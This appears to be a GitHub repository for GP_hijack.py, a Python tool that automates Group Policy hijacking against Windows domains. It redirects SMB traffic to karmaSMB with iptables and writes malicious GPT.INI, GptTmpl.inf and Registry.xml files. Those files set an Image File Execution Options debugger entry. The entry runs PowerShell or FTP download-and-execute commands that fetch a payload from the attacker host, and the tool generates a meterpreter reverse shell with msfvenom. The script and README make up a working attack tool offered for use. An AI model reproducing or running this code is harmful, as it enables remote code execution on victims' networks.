├── GP_hijack.py ├── LICENSE └── README.md /GP_hijack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # _authors_: 4 | # @whitel1st 5 | # @ShikariSenpai 6 | 7 | import textwrap 8 | import argparse 9 | import os 10 | import sys 11 | import time 12 | import fileinput 13 | 14 | #=== Print style === 15 | print_style = { 16 | 'empty' : "\n"+"="*8 + " ", 17 | 'question' : "\n"+ " |Quiz| "+" "*1, 18 | 'error' : "\n"+ "|Error|"+" "*2, 19 | 'status' : "\n"+ "|Status|"+" "*1, 20 | 'tab' : " "*9 21 | } 22 | 23 | script_name = "GP_hijack.py" 24 | 25 | #=== Path to folders/files === 26 | # Get user path (~ for root is /usr/root) 27 | tilda = os.path.expanduser('~') 28 | name_working_folder = 'GPhijack' 29 | path_config_vsftpd = '/etc/vsftpd.conf' 30 | path_folder_ftp = '/srv/ftp/' 31 | path_folder_apache2 = '/var/www/html/' 32 | 33 | # path name where we working 34 | working_path = tilda + '/' + name_working_folder + '/' 35 | 36 | # === Files which karmaSMB will be use === 37 | all_files = { 38 | "INI": 39 | { 40 | "name":"GPT.INI", 41 | "content":"" 42 | }, 43 | "inf": 44 | { 45 | "name":"GptTmpl.inf", 46 | "content":"" 47 | }, 48 | "conf": 49 | { 50 | "name":"KarmaHijack.conf", 51 | "content":"" 52 | }, 53 | "xml": 54 | { 55 | "name":"Registry.xml", 56 | "content": 57 | { 58 | # 59 | "clsid":"{9CD4B2F4-923D-47f5-A062-E897DD1DAD50}", 60 | #uid 61 | "uid":"{EDB6542F-F709-43B3-92E4-D40109D97B06}", 62 | #(hive)main_folder 63 | "hive":"HKEY_LOCAL_MACHINE", 64 | #(key) path 65 | "key_path":"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\\", 66 | "key_folder":"calc.exe", 67 | #(name) of value 68 | "name":"debugger", 69 | #(type) of value 70 | "type":"REG_SZ", 71 | #(value) programm to debug 72 | "value":"notepad.exe", 73 | #(changed) 74 | "changed":"2016-01-15 17:34:45" 75 | } 76 | }, 77 | "log": 78 | { 79 | "name":"KarmaSMB.log", 80 | "content":"" 81 | }, 82 | "script_conf": 83 | { 84 | "name":"." + script_name.split('.')[0] + ".conf", 85 | "content":"" 86 | } 87 | } 88 | 89 | #=== Content of folders/files === 90 | text_ini_start_version = 10000 91 | 92 | #=== Impacket === 93 | impacket_source = 'https://github.com/whitel1st/GP_Hijack' 94 | impacket_file_name = 'impacket-0.9.9.9.zip' 95 | 96 | #=== Iptables rules === 97 | # 445: REDIRECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:445 redir ports 445 98 | # 139: REDIRECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:445 redir ports 445 99 | # 138: REDIRECT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:138 redir ports 445 100 | iptables_rules_ports = { 101 | 445:"tcp", 102 | 139:"tcp", 103 | 138:"udp"} 104 | iptables_rules_check = [] 105 | 106 | 107 | #=== Shell/Payload/Regster === 108 | #name with extension 109 | name_of_shell = "shell_xx.exe" 110 | shell_delivery_method_default = "PowerShell" 111 | 112 | #=== Services === 113 | all_services = { 114 | "powershell" : "apache2", 115 | "ftp" : "vsftpd" 116 | } 117 | 118 | #=== Parser === 119 | parser = argparse.ArgumentParser( 120 | formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50,width=100), 121 | description = textwrap.dedent(''' 122 | This script will help you to automate SMB Hijacking attack 123 | ''') 124 | ) 125 | parser.add_argument("mode", choices=['setup','run','config','read'],help="setup - to install impacket and config files; run - to run attack; config - to customize payload; read - to read current configuration") 126 | #[setup] 127 | parser.add_argument("-lip","--local_ip", help="|setup| your IP address") 128 | #[run] 129 | parser.add_argument("-sip", nargs='+', help="|run| IP(s) of Active Airectory server(s) , for which smb2 traffic should be redirected") 130 | #[config] 131 | parser.add_argument("-shway", help="|config| choose way to deliver shell", choices=all_services.keys()) 132 | parser.add_argument("-shpath", help="|config| specify path to your shell. Use: '-shpath msf' for default shell") 133 | 134 | args = parser.parse_args() 135 | 136 | #! Yeahh, I know - file names are global. They do not used as a function parameters 137 | class setup: 138 | class create: 139 | def service_vsftpd(): 140 | answer_method_vsftp = input(print_style['question'] + "Have you already installed vsftpd? [y/n] : ") 141 | if answer_method_vsftp == "n": 142 | print(print_style['tab'] + "vsftpd will be installed\n") 143 | os.system("apt-get install vsftpd") 144 | 145 | print(print_style['status'] + "Trying to modify vsftpd.conf") 146 | print(print_style['tab'] + "Previous config will be backed up") 147 | 148 | if os.path.isfile(path_config_vsftpd): 149 | 150 | os.system("mv " + path_config_vsftpd + " " + path_config_vsftpd + ".bak") 151 | 152 | vsftpd_conf_bak_file = open(path_config_vsftpd + ".bak", 'r') 153 | vsftpd_conf_text = vsftpd_conf_bak_file.read() 154 | 155 | vsftpd_conf_text = vsftpd_conf_text.replace('listen=NO', 'listen=YES') 156 | vsftpd_conf_text = vsftpd_conf_text.replace('listen_ipv6=YES', 'listen_ipv6=NO') 157 | vsftpd_conf_text = vsftpd_conf_text.replace('anonymous_enable=NO', 'anonymous_enable=YES') 158 | 159 | vsftpd_conf_file = open(path_config_vsftpd, 'w+') 160 | vsftpd_conf_file.write(vsftpd_conf_text) 161 | 162 | vsftpd_conf_file.close() 163 | vsftpd_conf_bak_file.close() 164 | 165 | print(print_style['tab'] + "Result: Success") 166 | 167 | else: 168 | print(print_style['error'] + 'Result: Failed, config file not found') 169 | print(print_style['tab'] + 'Please modify your vsftpd.conf as:') 170 | print(print_style['tab'] + ' listen=YES') 171 | print(print_style['tab'] + ' listen_ipv6=NO') 172 | print(print_style['tab'] + ' anonymous_enable=YES') 173 | def text_payload_inf_shell(all_about_shell,local_ip): 174 | ftp_script_name = "script.txt" 175 | 176 | head = textwrap.dedent("""\ 177 | [Unicode] 178 | Unicode=yes 179 | [Registry Values] 180 | """) 181 | body = "" 182 | tail = textwrap.dedent(""" 183 | [Version] 184 | signature="$CHICAGO$" 185 | Revision=1 186 | """) 187 | 188 | register_path = { 189 | # IFEO = ImageFileExecutionOptions 190 | "IFEO" : "MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\\", 191 | "Security" : "" 192 | } 193 | 194 | if all_about_shell['way'] == "powershell": 195 | body = "PowerShell \"-nologo (New-Object System.Net.WebClient).DownloadFile(\'http://" + local_ip + "/" + all_about_shell['name'] + "\',\'" + all_about_shell['name'] + "\'); Start-Process \'" + all_about_shell['name'] +"\'\"" 196 | 197 | # Works perfectly if such shell file does not exist 198 | # So, to make it works properly - change shell name time to time 199 | elif all_about_shell['way'] == "ftp": 200 | body = "cmd.exe /c \"@echo open " + local_ip + ">" + ftp_script_name + \ 201 | "&@echo binary>>" + ftp_script_name + \ 202 | "&@echo get /" + all_about_shell['name'] + " C:\\Users\\Public\\Downloads\\" + all_about_shell['name'] + ">>" + ftp_script_name + \ 203 | "&@echo quit>>" + ftp_script_name+"&@ftp -s:" + ftp_script_name + " -v -A&@start C:\\Users\\Public\\Downloads\\" + all_about_shell['name'] + '\"' + \ 204 | "&@del script.txt" 205 | 206 | 207 | shell_str = head + \ 208 | register_path["IFEO"] + \ 209 | all_about_shell['debug_programm'] + \ 210 | "\Debugger=1," + \ 211 | body + \ 212 | tail 213 | return({'full':shell_str,'body':body}) 214 | def text_payload_xml_shell(uid,key_folder,value): 215 | out = ("", 216 | "" + \ 217 | "", 227 | "") 228 | return('\n'.join(out)) 229 | 230 | class shell: 231 | def way(way): 232 | if way == "ftp": 233 | setup.create.service_vsftpd() 234 | elif way == "powershell": 235 | print(print_style['status'] + "Powershell will be used\n") 236 | else: 237 | print(print_style['error'] + "Default value will be used\n") 238 | 239 | #argument = path to shell 240 | #copy shell to some folder, depending on type 241 | def path(all_about_shell): 242 | if (all_about_shell['type'] == "custom"): 243 | shell_path_not_correct = True 244 | 245 | #!TODO:Rewrite tihs 246 | # When fuction called from setup mode 'path' must be empty 247 | # When called from config mode, we can use 'path' value 248 | full_path = all_about_shell['path'] + all_about_shell['name'] 249 | if os.path.isfile(full_path): 250 | shell_path_not_correct = False 251 | 252 | else: 253 | while shell_path_not_correct: 254 | shell_path = input(print_style['tab'] + "Full path to your shell (without ~): ") 255 | if(os.path.isfile(shell_path) == False): 256 | print(print_style['error'] + "No such file, try again.\n") 257 | else: 258 | shell_path_not_correct = False 259 | 260 | path_position = shell_path.rfind('/') 261 | all_about_shell['path'] = shell_path[:path_position + 1] 262 | 263 | all_about_shell['name'] = shell_path.split('/')[-1] 264 | 265 | if shell_path_not_correct == False: 266 | if all_about_shell['way'] == "powershell": 267 | folder = path_folder_apache2 268 | os.system("cp -f " + all_about_shell['path'] + all_about_shell['name'] + " " + path_folder_apache2) 269 | elif all_about_shell['way'] == "ftp": 270 | folder = path_folder_ftp 271 | os.system("cp -f " + all_about_shell['path'] + all_about_shell['name'] + " " + path_folder_ftp) 272 | 273 | elif all_about_shell['type'] == "msf": 274 | 275 | if all_about_shell['way'] == "powershell": 276 | folder = path_folder_apache2 277 | 278 | elif all_about_shell['way'] == "ftp": 279 | folder = path_folder_ftp 280 | 281 | #[setup] if shell wasn't created 282 | if not all_about_shell['path']: 283 | local_port = input(print_style['question'] + "Please type metasploit listener port number : ") 284 | 285 | print(print_style['status'] + "Please wait; msfvenom is working") 286 | print(" meterpreter would be at {0}:{1}".format(args.local_ip,local_port)) 287 | 288 | os.system("msfvenom -p windows/meterpreter/reverse_tcp LHOST=" + args.local_ip + " LPORT=" + local_port + " -f exe > " + folder + all_about_shell['name']) 289 | 290 | #[config] if you need just copy shell to some folder 291 | else: 292 | os.system("cp -f " + all_about_shell['path'] + all_about_shell['name'] + " " + folder + all_about_shell['name']) 293 | 294 | all_about_shell['path'] = folder 295 | 296 | return(all_about_shell) 297 | 298 | class rewrite: 299 | class basic: 300 | def write_to_file(extension,need_to_dedent): 301 | if need_to_dedent: 302 | all_files[extension]["content"] = textwrap.dedent(all_files[extension]["content"]) 303 | 304 | file_to_write = open(working_path + all_files[extension]["name"], 'w') 305 | file_to_write.write(all_files[extension]["content"]) 306 | file_to_write.close() 307 | print(print_style['tab'] + 'File ' + working_path + all_files[extension]["name"] + ' was created') 308 | 309 | def ini(): 310 | all_files["INI"]["content"]= """\ 311 | [General] 312 | Version=10000 313 | """ 314 | setup.rewrite.basic.write_to_file("INI",True) 315 | def conf(): 316 | all_files["conf"]["content"] = """\ 317 | INI = """ + working_path + all_files["INI"]["name"] + """ 318 | inf = """ + working_path + all_files["inf"]["name"] + """ 319 | xml = """ + working_path + all_files["xml"]["name"] + """ 320 | """ 321 | 322 | setup.rewrite.basic.write_to_file("conf",True) 323 | def inf(all_about_shell,ip): 324 | shell_dict = setup.create.text_payload_inf_shell(all_about_shell,ip) 325 | 326 | all_files["inf"]["content"] = shell_dict['full'] 327 | 328 | setup.rewrite.basic.write_to_file("inf",True) 329 | def xml(all_about_shell,ip): 330 | shell_dict = setup.create.text_payload_inf_shell(all_about_shell,ip) 331 | 332 | all_files["xml"]["content"] = setup.create.text_payload_xml_shell( 333 | all_files["xml"]["content"]["uid"], 334 | all_about_shell["debug_programm"], 335 | shell_dict['body']) 336 | 337 | setup.rewrite.basic.write_to_file("xml",True) 338 | def script_conf(all_about_shell): 339 | all_files["script_conf"]["content"] = """\ 340 | way = """ + all_about_shell['way'] + """ 341 | shell_type = """ + all_about_shell['type'] + """ 342 | shell_name = """ + all_about_shell['name'] + """ 343 | shell_path = """ + all_about_shell['path'] + """ 344 | shell_programm_to_debug = """ + all_about_shell['debug_programm'] + """ 345 | """ 346 | 347 | setup.rewrite.basic.write_to_file("script_conf",True) 348 | 349 | def stage0_create_dir(self): 350 | print(print_style['empty'] + "Setup[0] creating directory") 351 | os.system("mkdir " + working_path) 352 | 353 | def stage1and2_impacket(self,impacket_source,impacket_file_name): 354 | print(print_style['empty'] + "Setup[1] downloading impacket") 355 | os.system("git clone " + impacket_source + " " + working_path + "impacket/") 356 | 357 | print(print_style['empty'] + "Setup[2] install impacket") 358 | os.chdir(working_path + "impacket/") 359 | os.system("pip install .") 360 | 361 | def stage3_payload(self,all_about_shell): 362 | print(print_style['empty'] + "Setup[3] payload") 363 | 364 | # Way to deliver 365 | print(print_style['question'] + "Choose how your shell your will be delivered. [default is 0]") 366 | print(print_style['tab'] + "0. Via PowerShell and Apache") 367 | print(print_style['tab'] + "1. Via FTP (vsftpd)") 368 | answer_method = input(print_style['tab'] + " : ") 369 | 370 | if answer_method == "0": 371 | all_about_shell['way'] = 'powershell' 372 | 373 | elif answer_method == "1": 374 | all_about_shell['way'] = 'ftp' 375 | 376 | else: 377 | print(print_style['error'] + "Default value will be used\n") 378 | all_about_shell['way'] = shell_delivery_method_default 379 | 380 | setup.shell.way(all_about_shell['way']) 381 | 382 | #Path to shell 383 | print(print_style['question'] + "Choose which type of shell you want to use. [default is 0]") 384 | print(print_style['tab'] + "0. Reverse shell created via msfvenom. Run with metasploit") 385 | print(print_style['tab'] + "1. Custom shell") 386 | answer = input(print_style['tab'] + " : ") 387 | 388 | #Сustom 389 | if answer == "0": 390 | all_about_shell['type'] = 'msf' 391 | elif answer == "1": 392 | all_about_shell['type'] = 'custom' 393 | 394 | all_about_shell = setup.shell.path(all_about_shell) 395 | 396 | return(all_about_shell) 397 | 398 | def stage4_create_files(self, all_about_shell): 399 | print("\n"+"="*8+" Setup[4] create config files") 400 | 401 | #Create files 402 | setup.rewrite.ini() 403 | setup.rewrite.conf() 404 | setup.rewrite.inf(all_about_shell,args.local_ip) 405 | setup.rewrite.xml(all_about_shell,args.local_ip) 406 | setup.rewrite.script_conf(all_about_shell) 407 | 408 | class run: 409 | def kill_karmaSMB(self): 410 | #Because there are more that one process karmaSMB 411 | for i in range(2): 412 | os.system("kill -9 `ps aux | grep karmaSMB | cut -d '\n' -f 2 | cut -d ' ' -f 7` 2> /dev/null") 413 | os.system("kill -9 `ps aux | grep karmaSMB | cut -d '\n' -f 2 | cut -d ' ' -f 6` 2> /dev/null") 414 | os.system("kill -9 `ps aux | grep karmaSMB | cut -d '\n' -f 1 | cut -d ' ' -f 7` 2> /dev/null") 415 | os.system("kill -9 `ps aux | grep karmaSMB | cut -d '\n' -f 1 | cut -d ' ' -f 6` 2> /dev/null") 416 | 417 | def stage0_iptables(self): 418 | print(print_style['empty'] + "Run[0] create/check iptables rules") 419 | existing_rules = os.popen("iptables -t nat -L -n").read().splitlines() 420 | 421 | for ip in args.sip: 422 | for rule in iptables_rules_ports.keys(): 423 | iptables_rules_check.append("REDIRECT " + iptables_rules_ports[rule] + " -- 0.0.0.0/0 " + ip + " "*(21-len(ip)) + iptables_rules_ports[rule] + " dpt:" + str(rule) + " redir ports 445") 424 | 425 | if (set(iptables_rules_check) < set(existing_rules)): 426 | print(print_style['tab'] + "|Check| = rules already exist") 427 | else: 428 | print(print_style['tab'] + "|Check| = " + str(len(args.sip)*3) + " rules will be created:") 429 | for ip in args.sip: 430 | for rule in iptables_rules_ports.keys(): 431 | os.system("iptables -t nat -A PREROUTING -p "+ iptables_rules_ports[rule] + " -d " + ip + " --dport " + str(rule) + " -j REDIRECT --to-port 445") 432 | print(print_style['tab'] + "iptables -t nat -A PREROUTING -p "+ iptables_rules_ports[rule] + " -d " + ip + " --dport " + str(rule) + " -j REDIRECT --to-port 445") 433 | 434 | def stage1_increment_version(self): 435 | print(print_style['empty'] + "Run[1] increment version in gpt.inin") 436 | 437 | #Open file 438 | file_ini = open(working_path + all_files["INI"]["name"],'r') 439 | ini_existed_text = file_ini.read().splitlines() 440 | 441 | #Looking for version number 442 | number = int(ini_existed_text[1].split('=')[1]) 443 | number = number + 1 444 | 445 | print(print_style['tab'] + "next version will be " + str(number)) 446 | ini_existed_text[1] = 'Version=' + str(number) 447 | 448 | #Delete file 449 | os.remove(working_path + all_files["INI"]["name"],) 450 | file_ini.close() 451 | 452 | #Create file again 453 | os.system("touch " + working_path + all_files["INI"]["name"]) 454 | #Open and write new version 455 | 456 | file_ini = open(working_path + all_files["INI"]["name"],'w') 457 | file_ini.write('\n'.join(ini_existed_text)) 458 | file_ini.close() 459 | 460 | def stage2_check_services(self): 461 | print(print_style['empty'] + "Run[2] check services") 462 | 463 | config_is_correct = False 464 | 465 | all_about_shell = c.read_config(working_path + all_files['script_conf']['name']) 466 | 467 | if all_about_shell['way'] == "powershell" or all_about_shell['way'] == "ftp": 468 | print(print_style['status'] + "Service to run: " + all_services[all_about_shell['way']]) 469 | print(print_style['tab'] + "Shell name: " + all_about_shell['name'] + '\n') 470 | 471 | sevice = os.popen("service " + all_services[all_about_shell['way']] +" status").read().splitlines() 472 | print('\n'.join(sevice)) 473 | if "dead" in sevice[2]: 474 | print(print_style['status'] + "[starting " + all_services[all_about_shell['way']] + " service]") 475 | os.system("service " + all_services[all_about_shell['way']] + " start") 476 | elif "active" in sevice[2]: 477 | print(print_style['status'] + "[" + all_services[all_about_shell['way']] + " is already started]") 478 | 479 | config_is_correct = True 480 | else: 481 | print(print_style['error'] + 'Config is broken: no such delivery type\n') 482 | return(config_is_correct) 483 | 484 | def stage3_run_karmaSMB(self): 485 | 486 | print(print_style['empty'] + "Run[3] run karmaSMB") 487 | try: 488 | msg_log = '\n'+ '='*10 + ' ' + time.strftime('%d.%m.%y %H:%M:%S') + " karmaSMB log " + '='*10 + '\n' 489 | file_log = open(working_path + all_files["log"]["name"],'a') 490 | file_log.write(msg_log) 491 | file_log.close() 492 | os.system("karmaSMB.py -config " + working_path + all_files['conf']['name'] + " " + working_path + all_files['conf']['name'] + " | tee -a " + working_path + all_files['log']['name']) 493 | 494 | except KeyboardInterrupt: 495 | #stop karmaSMB - never working 496 | os.system("kill -9 `ps aux | grep karmaSMB | cut -d '\n' -f 1 | cut -d ' ' -f 7` 2> /dev/null") 497 | sys.exit() 498 | 499 | class config: 500 | def read_config(self, path_to_config): 501 | all_about_shell = {} 502 | 503 | config_file = open(path_to_config,'r') 504 | confit_text = config_file.read() 505 | 506 | all_about_shell['way'] = confit_text.splitlines()[0].split(' = ')[1] 507 | all_about_shell['type'] = confit_text.splitlines()[1].split(' = ')[1] 508 | all_about_shell['name'] = confit_text.splitlines()[2].split(' = ')[1] 509 | all_about_shell['path'] = confit_text.splitlines()[3].split(' = ')[1] 510 | all_about_shell['debug_programm'] = confit_text.splitlines()[4].split(' = ')[1] 511 | 512 | config_file.close() 513 | 514 | print(print_style['status'] + " Delivery way: " + all_about_shell['way']) 515 | print(print_style['tab'] + " Shell type: " + all_about_shell['type']) 516 | print(print_style['tab'] + " name: " + all_about_shell['name']) 517 | print(print_style['tab'] + " path: " + all_about_shell['path']) 518 | print(print_style['tab'] + "Prog to debug: " + all_about_shell['debug_programm']) 519 | 520 | return(all_about_shell) 521 | 522 | 523 | if args.mode == 'setup': 524 | s = setup() 525 | 526 | if args.local_ip: 527 | 528 | s.stage0_create_dir() 529 | 530 | answer = input(print_style['question'] + "Did you already install Impacket? [y/n] : ") 531 | 532 | if answer == 'n': 533 | s.stage1and2_impacket(impacket_source,impacket_file_name) 534 | 535 | elif answer == 'y': 536 | print(print_style['tab'] + "... skipping Setup[1] and Setup[2] then") 537 | 538 | #TODO: if type is msf name shell must be random 539 | 540 | all_about_shell = { 541 | "way" : "", 542 | "type" : "", 543 | "name" : "shell.exe", 544 | "path" : "", 545 | "debug_programm" : "taskhost.exe" 546 | } 547 | 548 | all_about_shell = s.stage3_payload(all_about_shell) 549 | print(all_about_shell) 550 | s.stage4_create_files(all_about_shell) 551 | 552 | print("-"*50 + "\nSetup successfully completed\n" + "-"*50) 553 | 554 | else: 555 | print("In setup mode you need to specify your local ip") 556 | print("Example usage: " + script_name + " setup -lip 192.168.1.100") 557 | 558 | elif args.mode == 'run': 559 | 560 | r = run() 561 | c = config() 562 | 563 | r.kill_karmaSMB() 564 | 565 | if args.sip: 566 | answer = input("Quick quiz: Did you setup your metasploit to handle meterpreter session? [y/n] : ") 567 | if answer == 'y': 568 | r.stage0_iptables() 569 | r.stage1_increment_version() 570 | if r.stage2_check_services(): 571 | r.stage3_run_karmaSMB() 572 | elif answer == 'n': 573 | print("You need to run:") 574 | print(" [0] msfconsole") 575 | print(" [1] use multi/handler") 576 | print(" [2] set payload windows/meterpreter/reverse_tcp") 577 | print(" [3] set LPORT ") 578 | print(" [4] set LPORT ") 579 | else: 580 | print(print_style['error'] + "You need to specify IP address(es) of AD server(s)") 581 | print(print_style['tab'] + "Example usage: " + script_name + " run -sip 192.168.10.2 192.168.10.3 192.168.10.4") 582 | sys.exit(0) 583 | 584 | #TODO: add functions call 585 | elif args.mode == 'config': 586 | c = config() 587 | 588 | all_about_shell = c.read_config(working_path + all_files['script_conf']['name']) 589 | 590 | if args.shway or args.shpath: 591 | 592 | answer_ip = input(print_style['question'] + "Your ip : ") 593 | 594 | all_about_shell['debug_programm'] = input(print_style['question'] + "Programm to debug (with .exe) : ") 595 | 596 | if args.shway: 597 | all_about_shell['way'] = args.shway 598 | 599 | #Do you need to install vsftpd? 600 | setup.shell.way(all_about_shell['way']) 601 | 602 | if args.shpath: 603 | 604 | if args.shpath == "msf": 605 | 606 | all_about_shell['type'] = 'msf' 607 | 608 | else: 609 | all_about_shell['type'] = 'custom' 610 | 611 | path_position = args.shpath.rfind('/') 612 | all_about_shell['path'] = args.shpath[:path_position + 1] 613 | all_about_shell['name'] = args.shpath.split('/')[-1] 614 | 615 | #Copying 616 | all_about_shell = setup.shell.path(all_about_shell) 617 | 618 | setup.rewrite.inf(all_about_shell,answer_ip) 619 | setup.rewrite.xml(all_about_shell,answer_ip) 620 | setup.rewrite.script_conf(all_about_shell) 621 | 622 | else: 623 | print(print_style['tab'] + "You need to specify way to deliver payload and (or) path to payload") 624 | print(print_style['tab'] + "Example usage #1 (default msf shell): " + script_name + " config -shpath msf") 625 | print(print_style['tab'] + "Example usage #2 (custom shell) : " + script_name + " config -shway ftp -shpath /root/shells/my_shell.exe") 626 | 627 | elif args.mode == 'read': 628 | if os.path.isfile(working_path + all_files['script_conf']['name']): 629 | c = config() 630 | all_about_shell = c.read_config(working_path + all_files['script_conf']['name']) 631 | else: 632 | print(print_style['error'] + 'Config not found') 633 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # GroupPolicy Hijacking 3 | 4 | 5 | --- 6 | 7 | ## Warning 8 | 9 | Current version of a script will turns on karma smb for all smb traffic. 10 | So when you MiTM your victim and his DC (domain controller), all SMB functionality excep those that need for a Group Policy hijacking **will be lost**! 11 | 12 | --- 13 | 14 | **Version 1.0** 15 | 16 | This script allows you to exploit Group Policy Hijacking attack to get an RCE. 17 | 18 | What it does: 19 | 20 | **Setup mode** 21 | 22 | * Download and setup Impacket (which consists karmaSMB) 23 | * Create necessary files: config and different files to be returned by karma SMB 24 | * Create malicious payload via msfvenom or choose your own script 25 | * Copy paylod to relevant folder 26 | 27 | **Run mode** 28 | 29 | * Check and if necessary creates iptables rules for supplied IP addresses 30 | * Check and if necessary run `apache2` or `vsftpd` 31 | * Increment version `GPT.ini` 32 | * Run karmaSMB with created config (created in setup mode) 33 | * Write logs of karmaSMB activity 34 | 35 | **Config mode** 36 | 37 | * Change a way of the shell delivering 38 | * Change type of the shell: custom or msf 39 | 40 | **Read mode** 41 | 42 | * Read config created in setup mode 43 | 44 | 45 | ## Related research/articles 46 | 47 | - [[MWR Labs] How to own any Windows network with group policy hijacking attacks](https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/) 48 | --------------------------------------------------------------------------------